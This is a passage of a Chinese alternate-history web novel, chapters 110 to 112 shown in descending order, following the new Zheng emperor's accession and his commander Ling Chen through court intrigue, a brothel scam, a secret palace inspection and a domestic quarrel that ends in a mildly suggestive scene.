为了在必死之局中求的一线生机,他紧急派人前往孟蜀和李唐,对他们言明唇亡齿寒的道理。文训一旦消灭了他,下一步一定是趁势南下,结束唐末以来的百年乱局,一统天下。 所以,帮帮孩子吧~求求了!(双手合十) 面对眼下的局势,孟玄思考了很久。 出兵北上消耗大郑的国力,牵制他们,确实是最优的选择。 但这样也会招致文训的怒火。 从长远的角度考虑,从以往的历史总结,凡是大一统王朝,皆是先平西蜀,再下江南。 眼下北方的整合已经完成,大郑不同于大周当年的那种貌合神离、山头平衡、派系妥协。它是彻彻底底、完完全全的用军事力量将北方融合在了一起。 下象棋的时候,你不能只考虑自己的步骤,也不能只考虑当前的步骤,你要能算到三四步后的棋局。 孟玄既考虑了如何像刘邦那样暗度陈仓一统天下,也考虑了自己会不会成为又一个刘禅。 纠结了很久之后,这位年轻的帝王最终决定按兵不动,静观其变。 少年人老谋深算,老年人不服就干。 唐皇李雄也考虑了孟玄所忧虑的事情,但他却作出了截然不同的选择。 他明确告诉文训,中原战乱已久,眼下应该做的是休养生息,与民更始。如果郑皇执意要再起兵戈、穷兵黩武的话,为了中原百姓的幸福,咱老李就不得不率兵北上、武力调停了。 其用意,就是让孙芝能喘口气,像钉子一样扎在文训后背,使其无法安心南下。 局势依旧很复杂,前路扑朔迷离。 面对这样的困境,文训采纳了杜宣的建议,派人前往岭南、荆南地区,游说和支持他们自主创业。 不要依赖于蜀唐这两家无良企业,打工是没有出路的,创业才是人生的破冰之举。大郑支持你们,朕和中原百姓就是你们最坚实的后盾。 这个世界从来不缺有梦想的人,勇敢的人先享受世界。 趁着局势紧张,蜀、唐两国的精锐兵马都在北方边境严阵以待,应对随时可能爆发的统一大战之际。武平节度使张照初竖旗起兵,宣布荆南的事儿,应该由荆南人来决定。 他从长沙出发,开始了统一荆南的伟大事业。 与他有着同样想法的岭南军阀、贺江镇遏使刘思,改番禺为兴王府,登基称帝,正式建立汉国。 汉国坐拥兴王府、齐昌府、南海府,势力遍布岭南各地,重兵把守险要关隘,跨州连郡。军事实力不比孙芝、李遗景这些前辈弱。 江山如画,一时多少豪杰。 另一个惴惴不安的人,是凌晨。 位高权重的年轻殿帅也有惧怕的人,那就是他的娘子,镇国夫人。 冬雪积在瓦上,还未消融;光秃秃的果树枝头,枯木翘皮。房间里的暖炉炭火明亮,耳垂戴着二百两银子买来的祖母绿坠,头上钗着金叶花钿,青柠脸色平静,坐在凌晨书房的案桌前,正握着一本册子柔声细语的诵读。 “枝上柳绵吹又少~天涯何处无芳草~” “当时明月在,曾照彩云归……” 坐在窗边凳子上的凌晨尴尬的单手捂嘴,望着窗外扫雪的丫鬟仆人,思索对策。 “笑声不闻声渐悄,多情却被无情恼~唉!相公,你说这做词之人,该有多愁闷烦恼啊?佳人浅笑,却求而不得,真是可怜~” 凌晨听见她阴阳完了喊自己,连忙起身走到青柠身后,伸出手搭在她的肩膀上说道:“你听我解释。” 青柠轻轻拨开他的手,站起身来幽幽说道:“没什么好解释的,妾身出生贫寒,乃是愚笨村妇,自然比不得那些能吟能舞的玉阁佳人。相公若是喜欢,就纳进家来,妾身又不是那善妒的人~” 呃…… “真的吗?” 听到凌晨这样问,青柠瞥向凌晨,冲着他微微一笑,却没有一丝暖意: “当然是真的,相公如今位高权重,想要侍奉你的女子何止万千,若有喜欢的,大可迎进家中。就是娶为正妻,也不是不行。” 凌晨微微一愣:“那怎么行,你是正室,怎么能再有个正室?” 青柠将册子放在桌上,扭头看向一边:“妾身不碍相公的眼,只求能赏一纸休书,出家当姑子去就是了。” 哭笑不得的凌晨连忙上前搂住背对着他的青柠,青柠还想用力挣脱,却被他紧紧抱住,哪里还能挣的开? 将嘴唇贴近青柠的耳边,凌晨吹着气对她说道:“有一个姑奶奶还不够折腾,我哪里还有心力再去请个祖宗回来?” 青柠缩着脖子躲避,脸颊已经泛红,但还是嘴硬的说道:“那谁知道?或许你就喜欢看女子们为你争风吃醋呢?” “那你是吃醋了?” “没有!” 凌晨的胸膛贴在青柠瘦弱的后背,揽着她的腰肢,双手交叉捂着她的小腹,歪着头低下去用嘴唇不断摩擦她的耳朵,惹的青柠扭动躲闪。 “我给她们写词,是为了扩大她们的名气,夺取花魁之位。然后让她们向那些达官贵人推荐临颍乡亲们的产品。你想什么呢? 先不说我对她们没兴趣,就算心中喜欢,难道就一定要带回家中?我喜欢花,就一定要摘下来?我喜欢云,难道也要抓下来不成?” 青柠扭头看向凌晨,粉红的脸颊有些愠色,鼻尖碰撞,四目相对,眼神中带着浓浓的幽怨和审视,半信半疑。 她这副吃醋的小表情,看的凌晨口干舌燥,于是便伸出手一把捧住她的脸蛋,紧紧贴了上去。 “唔……” 青柠连忙转身,伸手拍打着凌晨的肩膀:“别……大白天……唔……” 凌晨一只手从腋下搂住她的后背,另一只手勾住腿弯将娘子直接抱了起来,走到房门前用脚勾住,一脚将门踢上。 “吩咐下去,今天不见客!” 朝着窗外大喊了一声后,凌晨抱着青柠径直往书房后面的憩室走去。 敢阴阳我?反了你了!今天让你好好知道,为夫爱不爱你! 都说小别胜新婚,可是自从关中归来,京中事物不断,斗争、刺杀、布局,纷乱杂扰。又因为害怕夫妻离心,所以他一直没有好好和青柠交流感情。 今日冬闲,刚好她又挑明了,那就放下俗事,好好教育教育。 青柠起先很是抗拒,后来眼看着抵挡不成,只能无奈顺从,低声叫他动静小点,免得被下人们听到。 凌晨哪管这些,完全将她的话抛之脑后。 半刻钟后,响动停了下来,憩室中静的落针可闻。 “那个……可能是我最近有些太累了……” “嗯……没事……” “你也知道,我以前不这样的……” “不要紧的相公,半刻钟……也很厉害了……” 不行,一定是太久没有使用了,有些敏感。听说二战之所以比一战打的时间长,是因为日德比较久,再试试。 于是,歇了一会的凌晨再次提枪上阵。 翻云覆雨,意乱情迷。 青柠迷离的双眼和微张的润唇,让凌晨颇有成就感,邢昭、狂暴全部点开! “还出不出家了?嗯?” “不……不出了……” “以后还敢不敢阴阳怪气了?” “不敢……不敢了……啊!” 晚来暮垂,天欲雪。红烛新点,人未绝。 穿好衣服的青柠满脸潮红的坐在榻边,目光怯怯的望向躺在床上、心满意足的凌晨,回想起刚才将近一个时辰的疯狂,不禁暗暗后怕。 同时又心中甜蜜,回味无穷。 挪动身子往前靠了靠,青柠俯下身子,幸福的趴在凌晨怀里,抬起脸主动吻了自家相公一下,伸出纤纤玉指在他的脖子上轻划。 凌晨一把抓住她的手,睁开眼睛疑惑的问道:“还要?” 青柠微微一愣,下一刻连忙摇头:“不不!不是……该吃饭了相公。” 凌晨满心怜爱的伸出手,摩挲着她的脸蛋,笑着说道: “也好,吃饱点,晚上为夫带你体验几个新花样。” 第112章 京城百态 新朝初立,有很多事务需要处理。 但殿帅府的将官们基本没有见过他们的老大,平时都是薛将军和刘将军主持日常事务,偶尔还能见到御林军的何指挥使。至于殿帅,很多人迄今为止都不知道他长什么样。 因为凌晨正在柳南坊的松竹楼里流连忘返。 在这里,经常会发生一些新奇有趣的事情。 就比如现在,一楼舞台上,一位头顶微谢的大官人,一身暴发户装束,正站在一位姑娘身边大声吼叫。 “你会不会跳舞?嗯?你看看你那粗手笨脚的模样,是跳舞的料吗?丑八怪!” 此人态度极其嚣张,仿佛将任何人都不放在眼中,正在台上对着那位楚楚可怜的姑娘评头论足,进行人身攻击,毫无怜香惜玉的意思。 那姑娘瘪着嘴,眼中噙泪,被骂的一言不发。双手抚在琴弦上,却已经无法专心弹奏,时不时的还抽搐一下肩膀,暗暗啜泣,看的旁人心都要化了。 舞台上就他们两个人,其他人都被膀大腰圆的壮汉们隔离在台下,接近不得。 只有为这位姑娘献金最多者,才可以与姑娘近距离接触。若是姑娘愿意,还可以引进自己的房间详谈风月,聊聊人生理想以及人类是怎样诞生的。 此刻,台下的嫖…文人雅士们,皆是义愤填膺、群情激愤,纷纷挥舞着拳头要揍死这个暴发户模样的傻子。 “你是什么东西?也配对薇薇姑娘大放厥词!” “看他那副蠢样!真是王八掉坑里——坐井观天,献了十两银子就不知道天高地厚了!” “给我滚下来!今天你就不要出这个门,出了松竹楼,你看我收不收拾你!” 面对十几个台下宾客的辱骂和威胁,那名暴发户丝毫不惧,下巴上的胡子翘起,用鼻孔朝着薇薇姑娘说道: “你听哥哥的,跟哥回家,给我暖床做小妾,哥哥会好好疼你的~” 薇薇姑娘胆怯的流着泪水摇头拒绝,对方却俯身一把抓住她的胳膊,淫笑着说道: “干什么?我可是给你献了十两银子的,献金最多者可以和近距离跟你相处,这是你们松竹楼的规矩,难道你要砸东家的招牌吗?” 薇薇姑娘伸出小手,想拨开他的咸猪手,挣脱对方的魔掌。奈何却因为力气太小无法如愿,只得眼中含泪望向台下。 台下的宾客们义愤填膺,却又没有办法,松竹楼的规矩确实是这样的。 暴发户见薇薇姑娘用求助的眼神望向台下,“切~”了一声,不屑的说道: “妹啊~你不会指望他们能为你献金,把我赶到台下去吧?不可能的,哥哥给你献了足足十两银子,他们拿得出来吗?谁能拿出来这么多的银子? 他们都是一些穷酸文人,成天幻想着写两句破诗就能被你看上,带他们回你的房间。我呸!就台下这帮人,怀里能掏出一两银子我都算他厉害! 他们都是京城的边角料,大郑的蛀虫,能给得起门钱走进来观看,估计已经把爹娘的棺材钱都用了,别指望他们能救你了,十两银子,他们估计连见都没见过~” 暴发户一套连珠炮说下来,台下的人早已红温了,一位年轻公子怒气冲冲的跑到收录处为薇薇姑娘献金十五两。然后拿着楼牌跑回来,丢给龟公后,他快步登上台去,将暴发户呵斥了下去。 “好!兄台果真气度不凡!” “好样的!干的漂亮!” 看到他先前一脸嚣张,如今却灰溜溜的落荒而逃,台下众人纷纷为这位挺身而出的公子叫好!英雄救美,真是大快人心! 那富家公子十分享受这种胜利的喜悦,和被众人敬仰崇拜的感觉。 薇薇姑娘也起身感激涕零的向他表示感谢,可当他准备继续宽慰关心对方,博取好感,最好今晚能留宿在她的绣帐时。薇薇姑娘的兰花指背贴在侧额,眉头轻皱,直言自己刚才被吓到了,身体略有不适,不便作陪。 那还能怎么办?这么多人看着,总不能让人家强撑着不适陪你唠嗑吧?那你跟刚才那厮有何分别? 富家公子只能无奈的假装大度,表示没有关系,你先回去休息,咱们改天再聊。 观看了全部过程,目送着薇薇姑娘退场后,凌晨皱着脸直摇头。 不知道那十五两银子,松竹楼的东家和暴发户、薇薇姑娘会怎么分。这么明显的坑都跳,也是百年难遇的人才啊~ 这样的人,是怎么坐拥那么多钱财的?? 惊叹过后,凌晨从栏杆旁离开,准备再去哪里逛逛,结果迎头碰到了一座山。 一位目测最少一百八十斤的胖姑娘,体型与魔人布欧九成九契合,正一脸娇羞的贴在一个干瘦如竹的男人身边。凌晨生怕姑娘撒着娇扭腰用屁股撞他一下,那估计得飞出去…… 咱也不是说歧视肥胖人群,更没有对女性同胞的颜值身材有刻板印象。可是姐们,咱这儿是青楼哇…… 小心翼翼的贴着墙,让开道等二人过去后,凌晨歪着头啧着嘴,有些哭笑不得。 文若跟他说,让他也去用旁观者的身份行走在大街小巷,去观察一下别人的容貌、举止、言谈,再猜想一下他们的生平、家庭、今天的心情等等。 这是文若为数不多的爱好,太子殿下如此卖力的给自己安利,凌晨就按照他说的试了试,啧啧啧…… 没有他说的那么美妙,更多是震撼。 这个世界太疯狂…… 从松竹楼里出来后,凌晨又行走在大街上,背着手悠闲地瞎逛。他观察着路上的每一位行人,偶尔还跟着他们走一段路,看着他们做事、聊天,或喜或悲,或愁或展。 这种行走在人世间,观察芸芸众生的超脱感,确实别有一番滋味。 癞头和尚,跛足道人~ 日渐西斜,夕阳西下。 意犹未尽的凌晨突然生出了一个想法,皇宫里的众人又会是什么样的呢?别人需要微服私访,暗中侦查。自己完全可以隐身进去,光明正大的看他们如何生活,聊些什么,想些什么,接触了什么人,谋划着什么事啊! 说干就干,主意打定,耳朵一动,原地消失。 跟在凌晨身后的那名路人脚步猛的一顿,揉了揉自己的眼睛,眼花了?? 刚才自己前面好像是有个人的,怎么突然没了? 难道是这两天太累,出现幻觉了吗? 隐身在皇宫中的凌晨并没有去打搅老文,也没有去偷看文鸯文瑶洗澡,他虽然变态,但还没有那么变态。 他先是检查了一下御林军的防御布局和值守状态,又观看了内官们回到住所后的班后生活,不禁从内心生出一个疑问:太监到底是站着尿尿还是蹲着尿尿? 纠结了许久后,凌晨还是忍住了一探究竟的冲动,转而前往宫女们活动的区域。 在尚宫局、尚仪局、尚服局、尚食局、尚寝局四处瞎逛了一通后,凌晨略感失望。 这些宫女们闲暇之余只会聊些八卦,幻想被太子爷、赵王爷,或者是其他哪个金龟婿看上。她们私底下还互相使小心机,虽然容貌都很好看,但是缺乏有趣的灵魂。 果然,这世间风情万种,却只有一个六月梨花羡。 体察了一天京城生活的凌晨也逛累了,瞅准御林军轮值的间隙,抬脚准备回家。 但人生就是这么戏剧,众里寻他千百度。蓦然回首,那人却在灯火阑珊处。 月上柳梢头,皇城西门角。 负责卫戍西角门的一处暗哨,一名头戴银色兜鍪,全身鱼鳞锁甲,双肩扣着黄色披风,脚踩贴片军靴,右手紧握长缨枪,左手握着精铁腰刀的年轻御林军士—— 睡着了。 凌晨蹑手蹑脚的凑近看了看他,整个人立在原地,背靠着宫墙,脑袋向后仰着,面庞四十五度朝向夜空,嘴巴微张,还发出轻微的鼾声。 谁说没有有趣的灵魂?这么有意思的兵,已经好久没有遇到过了。 如今正是腊月,天寒地冻的。凌晨怕他这么睡下去再给冻坏了,于是解除了隐身,将自己身上的豹裘解了下来,小心翼翼的给他披上。 做完了这一切后,他回想起自己以前在亲卫营站岗的日子,内心有些唏嘘不已,于是便挺直身子站在原地,替这位年轻的御林军士守好岗位。 半个时辰后,除了依旧昂首挺胸、目不斜视的凌晨和那位还在梦乡中的御林军士之外,这处临时指定的暗哨区域,又多了三个人。 他们分别是这位军士的伍长、皇城西门的守军队正和御林军的校尉之一。 伍长手足无措的像个孩子,一脸茫然;队正捂着自己的兜鍪、绝望的别过头去看向地面;校尉双手拉着凌晨的胳膊,好言好语的央求劝说,让他歇一歇。 这位校尉正是当年和凌晨一起护送老文从寿春归营,雨夜血战的亲历者、幸存者之一。 没过一会,被人喊醒的何关火急火燎的赶了过来。等他到场定睛一看,眼前的场面差点让他一口气没提上来!稳住心神后,他连忙走上前去,对着凌晨抱拳行礼: “点检,您……末将来迟了。” 见到何关后,一直岿然不动的凌晨终于活了,他笑着对老大哥说道: “我就是闲着没事,来检查一下今晚的防务和值哨,哥哥怎么亲自过来了?这天寒地冻的,快回去暖着。” 何关人都麻了,他哪敢回去啊! 被凌晨悄无声息的摸进皇宫已经是失职,值守的军士竟然还在睡觉!更绝的是,还让凌晨给发现了! 这事要是要陛下知晓,在场的诸位,可就都有好果子吃了。 “好兄弟,是愚兄御下不严,你就给哥哥个面子,饶这一回……” 见何关亲自发话了,凌晨也不想上纲上线,于是便走到他身边,抓住他手臂上的护腕笑着说道:“行,好久没有和哥哥一起喝酒了。走,今天定要一醉方休。” 何关听后长舒了一口气,连忙伸手请道:“兄弟请~” “哥哥请~” 那位值守的御林军士其实早就醒了,只是当他听到一向暴躁的伍长,竟然小心翼翼的喊出“点检”两个字之后,他就知道,自己已经不能醒了。 摸鱼被殿帅当场抓住,就算打死也不能醒!! 第111章 权力的烦恼 当得知京城的防御重任落在了凌晨头上后,朝臣们大惊失色,纷纷谏言不可。 大家都知道他救过文训的命,但这不是恩宠盛隆的理由。偏爱也要有个度,把所有人的性命安危交给一个二十五岁的小伙子,谁能放心? 谁能甘心? 各种反对声响彻乾元殿,有担心他年轻,做事冲动欠缺考虑的、有嫉妒他权力太大,日后影响深远的、也有污蔑中伤、想把他拉下台的,什么样的理由都有。 也有一些人觉得,殿前司由薛定、刘青山、何关三人分别制约,就挺好,完全没有必要将大权归于一人,这会埋下隐患。 但文训坚持这么做。 由于文训本身就是最大的武将头子,谁的话语权都没有他重,他说行,那就行。 不行也得行。 朝臣们之所以如此强烈反对,追根究底,只有一个原因,就是凌晨太不可控了。 他几乎不与其他文臣武将产生交集,行事风格捉摸不定,甚至连行踪喜好都难以揣测。在这一点上,连冯延都不敢说百分百了解凌晨。 他如果是自己的朋友,那当然好。如果是自己的敌人,那也有办法应对。 可他偏偏跟你没有任何交集,非敌非友,手里却掌握着你的身家性命。 未知的,才是最可怕的。 凌晨孤僻的处世风格,早在定都汴京时,大家就已经深有体会了。当初杜宣嫡孙娶妻这种大事,连太子都亲自穿着便服露了个脸。 而他呢?人没来就算了,连礼物都没送,客气都不愿意客气一下。 这个人做事全凭个人喜好、临时起意,想结交拉拢都很难。太子与他算是亲密了吧?太子妃对他娘子更是屈尊降贵,几乎是倾力相交。 但你去问问太子,他有没有把握让凌晨坚定的支持他? 王臣鹤是凌晨当初举荐的,在中原之战中替文训兜着后院,镇守一方。这种关系应该是铁杆政治盟友了吧? 可你让王臣鹤造个反试试。 能带你出来,就能把你摁回去! 自周始以来,历朝历代,都是皇帝与贵族商量着治理天下。这其中也藏着明争暗斗,包括但不限于外戚、宦官、禁军、朝臣、边将。他们是皇帝的盟友,同时也是皇帝的敌人。 所以,高处不胜寒,孤家寡人就是这么来的。 但现在,皇帝有一个从不相疑,对朝堂不感兴趣的朋友,偏偏他还掌握着京畿军权。 这可不是什么好事。 这意味着,皇帝拥有绝对的权力,大家都只能听他的话,当他的牛马,毫无拒绝或者反抗的余地。除非你不想活了,那他还真拿你没办法。 朝臣们抵触的不是凌晨,而是身后站着军队、有恃无恐的皇权。 而且这支军队还无法渗透。 薛定是一个和凌晨差不多性格的冷淡人。这人不收礼、不吃请,不爱热闹。唯一的喜好就是拿把锉刀修马蹄子,还只修自己找到的马,根本没法投其所好。 刘青山文化程度不高,脾气火爆,是个直性子,据说还是个妻管严。美人、金钱都没用。你去拉拢他,隐晦了他听不懂;挑明了,他当场就能把你抓起来押给陛下处置。关键他还是凌晨的妻兄,一门舅婿。 何关当初被陛下看重提拔,从小兵到殿前都指挥使,十几年如一日的负责着陛下的安保工作。君臣相携一路走来,一体同心,荣则俱荣,损则俱损。 某种程度上来说,你去拉拢他,还不如去拉拢凌晨。 而且,仔细研究一下就会发现,这几个人也是隐隐互相制约的。 薛定和何关同属江淮系,刘青山却不是。凌晨与何关、刘青山有关系,但却和薛定没有交情。何关和薛定、凌晨认识,但却跟刘青山不熟。 三个只效忠皇帝的人分别掌管着城外、城内、皇宫的军队,互不统属,却又都听命于更加效忠皇帝的凌晨。 你中有我,我中有你。 遇到事情,只能公事公办,只对陛下负责。 挑拨离间也不行,你跑到薛定身边替他惋惜,抱怨为什么殿帅是凌晨那个毛头小子而不是劳苦功高的他,他只会用看傻子的眼神看你一眼,然后继续修他的蹄子。 去跟何关这么说,他会想起五年前江淮地区某个荒村破院门前的上百具尸体,然后朝你摇摇头,摆手直说“蒜鸟蒜鸟~” 挑拨刘青山…… 只能说你思路很清奇,他只有镇国夫人这一个胞妹,那是他在这个世界上唯一的血亲。 尽管很困难,但朝臣们还是想试试。毕竟比起其他三个人,凌晨更年轻,地位更高,心智可能没有那么坚韧和成熟,还有操作空间。 年轻人爱面子、慕娇娥、易感动,这几点他总逃不掉吧? 于是,凌晨每天出门都会遇到很多随机事件,小红点小蓝点小白点比在洛圣都小地图和瓦伦丁小镇遇到的还要多。 有清纯美丽的少女被地痞流氓欺负,等着他去解救;有背影佝偻的老叟被恶霸殴打,等着他伸张正义;有稚童抱着铜板上街,为重病的长辈买药,却在半路被坏蛋抢夺,等着他去路见不平。 凌晨乐此不疲,挺身而出为这些可怜的人教训坏蛋,然后转头就忘个一干二净。 我每天会忘掉上千件事情,为什么不把这件也忘掉呢? 这些事情不仅没有让心怀叵测的人悄无声息的接近他,反而差点害惨了礼部尚书魏序和工部侍郎万修。 因为凌晨开始反思,当初魏娴被飞天螳螂劫持,以及在蝉鸣宴偶遇万修,是不是也是他们提前安排的捏? 斗争不会结束,只会以另一种形式存在。 可他们的努力注定只是徒劳,现在想渗透拉拢已经警惕敏感到极致的凌晨,除非你能喊出“奇变偶不变”,或者唱一首“在你的心上,自由的飞翔”。 也有人觉得,不用那么麻烦,解决不了问题,解决人不就行了。 于是,京城治安开始变得有些不太好,先是临颍侯府发生了盗窃事件,而后又一连发生了三起灭门惨案。 这三家人从家主到仆婢、从老人到孩童、全部整整齐齐的在院子里躺成一排,直到天亮后才被人发现。 自此以后,治安状况又峰回路转,变得非常好,连街道上的吵架拌嘴都少了很多。 一些人这才回想起来,凌晨当初好像把陛下从唐军人堆里救回来过。某些位高权重的大佬也想起了凌晨当初深入唐国,把前周的梁王周元昭硬生生从唐国带回来这件事。 算了,大家都是读过圣贤书的,还是文明点吧~ 这些琐事让凌晨很烦恼,但更让他烦恼的是祁梅儿和段音,自从成为花魁之后,想要认她们为义女的老头子越来越多,敢追求她们的年轻人却是一个没有。以她们的身份,谁都不敢得罪,这严重影响了凌晨原本的计划。 为了不让那帮恬不知耻的老头霍霍他精心培育出来的两朵大红花,凌晨亲自出马,将两人认为了义妹。 是谁要认她们为女儿的?让我瞅瞅是哪个老寿星这么有幽默感~ 想做我爹? 你够资格吗? 我敢喊爹,你敢喊好大儿吗? 陛下都只敢认我为侄,咋滴?你要跟他称兄道弟啊? 心情最不好的就是文初了,肠子都快悔青了! 当初老妈没说清楚,他也没怎么听。只当凌晨是救过爹地的命,所以才会深受眷顾。后来他才慢慢发现,凌晨的政治底蕴,还真不比杜宣和母舅差。 如今更是掌握着京城军队,已经不好拉拢了。尤其是赵王妃当初还在蝉鸣宴上派人试探过他的娘子,闹出过一些不愉快。 他或许不会针对自己,但也绝对不可能帮自己。 你能不能重新去高考一下?我一定砸锅卖铁的给你凑路费和学费。 不止是凌晨,哪怕是杜宣、周行舟、冯延这些德高望重、地位尊崇的朝中重臣,也过的不安生。每天不是在搞人,就是在被人搞。 处在风口浪尖上的京兆尹张承,更是时时刻刻都在命运的十字路口面临艰难抉择。 太平盛世下,暗流涌动。 歌舞升平中,潜藏杀机。 但不管怎么说,新生的大郑还是扬帆起航了,一切都在朝着好的方向发展,一片欣欣向荣。 朝廷免去了百姓两年的赋税,鼓励他们开垦荒地、建房筑舍;派遣专业人士勘探地形、兴修水利,发展农桑;向全国各地派遣巡检使,监督考核地方官员的政绩和辖区内的治理状况。 最阴的还得是采诗官,这帮人下到乡野田间,表面上是为了采集诗歌和民谣。可实际上,是为了观察民风状况和社会动向,并且如实记录和上报吏部。他们的小本本,也是地方官员升迁谪贬的考核依据之一。 而且这帮家伙隶属于御史台,御史台是个什么地方,相信大家也清楚。那是一个没事也能给你找点事的衙门,他们一天不骂人就会觉得有负皇恩。 现任御史台的老大、御史中丞林济远,更是一等一的嘴臭和头铁,把这老登逼急了,他敢在乾元殿指着老文的鼻子破口大骂。 光是因为凌晨担任殿前都点检这件事,他就骂了老文不下十次。根本不怕死,就等着你砍了他好青史留名呢。 其他人那就更不用说了,逮谁谁倒霉,一个不顺眼直接零帧起手原地开喷,让你连反应的时间都没有,妥妥的百官公敌。 凌晨见过这老头几次,也被他的唾沫星子喷过,完全没有一点脾气。 因为他不是只针对自己,而是平等的创飞所有人。 第110章 殿帅 登极赦: “中书门下:朕出生于汝南,年少时备尝艰辛,后来有幸效忠周朝高宗、哀宗二帝,镇守南疆,保境安民,一心只想着为主上分忧,哪里敢奢望能够成为尧舜那样的圣人呢? 后来,卢龙节度使应开疆反叛,伪建燕国;晋阳节度使孙芝背主,攻破邺京。鬼方、契丹、突厥三部南下,祸乱河北。天下大乱,民不聊生。 朕率领忠于君王的军队,抱着为国分忧的信念,剿灭了中原、江淮等地的叛军,消灭了不尊王命的荆襄节度使宋舒。这个时候,已经稳定了朕能延伸到的所有地区。 于是,朕提劲旅北上勤王,在开封击败鬼方、于邺城击败应开疆、契丹、突厥,手下将士奋勇追击,以至于北方边境烟尘绝息,天下半数疆域已定。 奈何哀帝在晋阳骤然驾崩,朕便率领大军,与关中王韩珏、云中节度使申屠明光这样的忠臣一起,向孙芝询问哀帝死因,剔除他的野心,逼迫他重新做回周朝臣子。 臣属百姓们都说周朝国祚已绝,神器更易是世间变化的常理,两度劝朕登基称帝。朕严词拒绝,表明自己并没有这样的想法。 朕准备从周朝宗室子弟中寻找一位心性纯良、才能卓越、德高望重之人,辅佐他继续延续周朝的基业。朕活着的时候是周臣,死去的时候也应该是周臣才对。 奈何还没有来的及筹措这件事情,关中王韩珏就不幸逝世,又恰好遇到韩临、韩珑叔侄为了自己的个人利益,起兵作乱。手段残忍狠毒的盗贼像春暖后的蚊蝇一样冒出,怀有不正当心思的歹人像花开后的蜜蜂一样聚集。 朕不忍心百姓受苦,便派手下精兵良将进驻潼关,帮助和协助关中王韩登平定内乱。又听说了李遗景派兵攻打州郡的事情,于是便决定亲自前往长安,督促两家罢兵言和。成功规劝了李遗景,使其洗心革面,率众归顺上邦。 现在,百官、百姓们都劝说朕:民众们不能没有君王,皇宫里的案几不能空放太久。周朝宗室子弟太过年轻,并没有能力震慑宵小之徒,拖延的时间久了,必定还会生出灾祸。 朕心中忧虑,思考了很久,夜里睡不着觉,不得不承认他们说的是对的。朕不能为了保护和全善自己的名声形象,将天下百姓的安危置于不顾。即使有困难和苦衷,也应该坚定的挑起重任。 过去商汤、周武建立秩序,发布了国号用来统一人心。汉朝、唐代创立基业,建立了制度来完善章程。 因此,百官建议国号用‘郑’最好,改周朝的靖安五年为新朝的建隆元年,趁着好时候,借助孩童们的歌谣,将这份喜悦分享到众人身上,把这种恩惠推广到百姓家中。 朕宣布,大赦天下!以正月初一为界限,在这一天之前,全天下的罪犯所犯的罪行,已经办理完的、还没办理完的、已经被发现的、还没有被发现的、不论罪行轻重,全部都予以释放,不再追究。 因为失职或者犯罪而被贬、停职的官员,都从现在起按照正常官员对待。因为罪责被流放抓捕的男女老少,全部都解除枷锁镣铐,由目前所在地的官府赠予银两盘缠,放他们归乡。 无论是皇宫御林军、京城禁军,还是各地乡军、边镇边军,都按照现在的等级给予封赏响银。在平定天下、扑灭狼烟的过程中立下功劳的将士、官员、百姓,都按照规定加官进爵、分发赏赐。 朝中臣子、官员、军将的父母、妻室没有得到过封赏的,都予以封赏。丈夫、儿子、父亲为国捐躯、战死沙场的遗孀遗孤,都拨发抚恤,从厚优待。在往后的科举、举荐中,也应该优先录用。 各地逃兵限期一百天的时间,允许他们回到自己原来的部队报道,仍然以原来的待遇对待。如果路途遥远,可以向当地所在官府先行报告,再启程回归军队。超过一百天没有来的人,仍然按有罪论处。 朕觉得那些愚笨的人,都是被人蛊惑,或者一时想不开才去做了奸盗的事,因此全部都不再追究,允许他们改过自新。 那些做了盗匪贼寇的人,也令当地官府和京城派去各地的巡检使官告诉他们这项政策,向他们发出招唤。愿意从军吃粮的,都给他们衣服和饭吃,愿意回家种地的,也都顺从他们的意愿。 好了,从今天起,过去的都让它过去,一切都重新开始。朕应当勤勤恳恳,尽心竭力处理朝政,不可有一天懈怠。诸位臣子、王公、衙吏、将士也要认真努力,负责好自己的工作,不可以偷懒推脱。 大家要同心协力,一起解决已经出现的和将会出现的问题,努力让国家兴旺、百姓安康,凡是知道这件事情的百姓、将士、官员,都要好好体会领略朕的深意。” 建隆元年正月初一,凌晨来到这个世界的第七年开年第一天,郑王文训在百官的推举下,在京城百姓的见证下,于皇城乾元殿前铸鼎焚香,祷告上苍,晓谕万民,传檄天下,正式登基称帝! 父、祖皆追尊,立王妃文周氏为皇后;世子文若为皇太子、世子妃韩意为太子妃;次子文初为赵王、正妻赵芝英为赵王妃;长女文鸯为长安帝姬,次女文瑶为汝南帝姬。 定都东京汴梁,以长安为西京、洛阳为中京,冀州为北京,汝南为南京。 跟随文训平定天下,创立基业的臣子们也都得到了该有的封赏,其中权柄最重的,是杜宣、周行舟和冯延三人。 杜宣掌管着天下文官武将的升迁谪贬,是为吏部天官。 周行舟掌管着着大郑所有的钱粮收支。是为户部地官。 冯延除去京兆尹之职,升任兵部尚书,掌管着全国兵马军械的调动统筹,是为兵部夏官。 京兆尹的职位,被张承接替。这是他在中原大战的过程中,为文训迷惑应开疆、麻痹孙芝从而争取到宝贵的时间差,以及镇守后方粮草重地的丰厚奖励。 韩登举家迁往汴京,文训加封他为秦王,申屠忘忧为秦王妃。新朝只有两个王爷,一个是文初,另一个就是小登。 他也是唯一一位异姓王。 王臣鹤被封了个“御龙指挥使”的临时头衔,领琅琊郡公,青徐地区的十万兵马,包括乡军、边军全部都由他统领。 王臣鹤也很上道,将妻儿送到汴京城中居住。老文十分高兴,亲自接见了钟莺和小王臣鹤,当场就封钟莺为辅国夫人,着工部为他们在京城建造府邸,以王府制。 所有人的封赏都是和他们自身功绩、实力相匹配的,只有两个人例外。 就职于上林苑的工部小透明、丛五品芝麻豆——吕齐,被破格任命为将作监监正,工部侍郎,封易阳侯。 先不说丛五品跳到正三品有多离谱,封侯的事也爱谁谁,他特么今年才二十三岁!! 凭什么?! 这样下去,工部的官员们该有多绝望!未来的工部尚书是谁,还有悬念吗? 谁特么熬得过他啊!! 对于群臣的劝阻和进谏,文训没有说明原因,但他就是坚持这么任命。 事实上,工部的朋友们完全不用担心,这次没有直接让吕齐干工部尚书,已经是文训考虑到他的年龄和履历后,做出的理性决定了。 等到统一蜀、唐之后,活字印刷会正式对外公布,进入民用领域。千百年后,这个时代能被记住的名字,估计只有文训和吕齐。 君臣齐名,万古流芳。 接下来,就到了鲜有人知、但又牵动着无数人神经的凌晨了。 这位二十五岁的年轻人,在当年天下还未平定的时候,就被陛下向前周求封为侯,成为当时最年轻的侯爷。这次平定西疆,更是身先士卒,第一个进入关中。 仔细回想,就是因为他,陛下才能兵不血刃的拿下长安和洛阳。 是国公,还是直接封王? 答案都不是,临颍侯的爵位原封不动。 但是,他的娘子刘青柠被加封为镇国夫人。并且陛下还特意追加了一条,明令她除了帝后之外,无需向任何人行礼。 包括太子。 